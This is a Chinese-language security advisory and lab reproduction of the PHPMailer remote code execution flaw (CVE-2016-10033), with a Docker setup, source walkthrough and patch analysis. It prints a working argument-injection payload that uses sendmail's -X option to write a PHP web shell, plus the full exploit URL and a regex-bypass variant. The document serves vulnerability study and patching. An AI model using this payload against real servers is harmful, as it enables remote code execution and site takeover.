Author: p0wd3r, dawu (知道创宇404安全实验室)

Date: 2016-12-27

0x00 漏洞概述

1.漏洞简介

Dawid Golunski 在圣诞节当天发布了一个漏洞报告,报告中表明 PHPMailer 小于5.2.18的版本存在远程代码执行漏洞。成功利用该漏洞后,攻击者可以远程任意代码执行。许多知名的 CMS 例如 Wordpress 等都是使用这个组件来发送邮件,影响不可忽视。

2.漏洞影响

漏洞触发条件:

  • PHP 没有开启 safe_mode(默认)
  • 攻击者需要知道 Web 服务部署的路径

成功利用该漏洞后,攻击者可以远程任意代码执行。

3.影响版本

PHPMailer < 5.2.18

0x01 漏洞复现

1.环境搭建

Dockerfile:

FROM php:5.6-apache

RUN apt-get update && apt-get install -y sendmail

RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini

提前下载好源码,在源码根目录下添加测试文件 1.php:

<?php
require('PHPMailerAutoload.php');

$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('c@d.com', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';

$mail->send();
?>

shell:

docker build -t CVE-2016-10033 .
docker run --rm --name vuln-phpmail -p 127.0.0.1:8080:80  -v /tmp/PHPMailer-5.2.17:/var/www/html CVE-2016-10033

2.漏洞复现

我们首先看补丁:

Alt text

这里使用escapeshellarg来处理$this->Sender,可见是为了防止注入参数,我们跟随$param的走向可知$param最终会被用于mail函数中,在class.phpmailer.phpmailPassthru函数中:

private function mailPassthru($to, $subject, $body, $header, $params)
{

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }

这里$param作为mail的第五个参数,该参数用于指定sendmail的额外参数,其中sendmail-X参数会将流量记录到文件中从而写文件实现 RCE,至于具体利用详见 Roundcube RCE

现在触发点找到了,接下来我们需要确定输入,可以看到$this->SendersetFrom函数中被设置:

public function setFrom($address, $name = '', $auto = true)
{
    $address = trim($address);
    $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
    // Don't validate now addresses with IDN. Will be done in send().
    if (($pos = strrpos($address, '@')) === false or
        (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
        !$this->validateAddress($address)) {
            ...
        }
        ...
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

setFrom用于设置发信方,正常情况下都是可控的。下面我们看过滤函数validateAddress(这个过滤在preSend函数中还会进行一次):

 public static function validateAddress($address, $patternselect = null)
{
        ...
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

这里根据PCRE_VERSIONPHP_VERSION来选择过滤方式,这里有一种情况:

  • PHP 不支持 PCRE
  • PHP 版本小于 5.2.0

这个时候该函数会使用noregex的方式,即只需满足三个条件即可通过过滤:

  • 输入长度大于 3
  • 含有@
  • @不是最后一个字符

这三个条件很容易满足,所以在这种情况下漏洞是很容易触发的,已经有研究人员开发了相应的 PoC :https://github.com/opsxcq/exploit-CVE-2016-10033

但是满足这个情况的主机现在已经很少了,正常情况下都是使用pcre8的正则来进行过滤,所以如果要扩大攻击面需要对正则进行绕过,并且还得让 sendmail 成功执行。

幸运的是,已经有其他研究人员写好了 payload :

https://ghostbin.com/paste/s64ng

"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org

这里使用.%20(点+空格)来作为分隔符,经小伙伴测试发现,.%09(点+Tab)也是可以绕过的。另外 phithon 大牛也提出了另外一种绕过思路,可见绕过的方式并不是单一的,更多的绕过方式需要通过仔细分析正则并结合 fuzz 来发现。如果大家有新的绕过思路希望可以多多交流 :)。

我们实际测试一下,访问http://127.0.0.1:8080/1.php?x=%22%3C?system($_GET[%27x%27]);?%3E%22.%20-OQueueDirectory=/tmp/.%20-X/var/www/html/shell.php%20@a.com

等一段时间之后 shell 成功写入:

Alt text

UPDATE IN 12.28:

漏洞原作者 Dawid Golunski 于昨晚公开了漏洞细节,里面提到了不同于上面所说的绕过方法。phithon 也在今早提出了几个绕过思路以及分析正则表达式的心得。(给大佬们递茶。。。

3.补丁分析

Alt text

使用escapeshellarg防止传入多个参数

0x02 修复方案

升级 PHPMailer

0x03 参考


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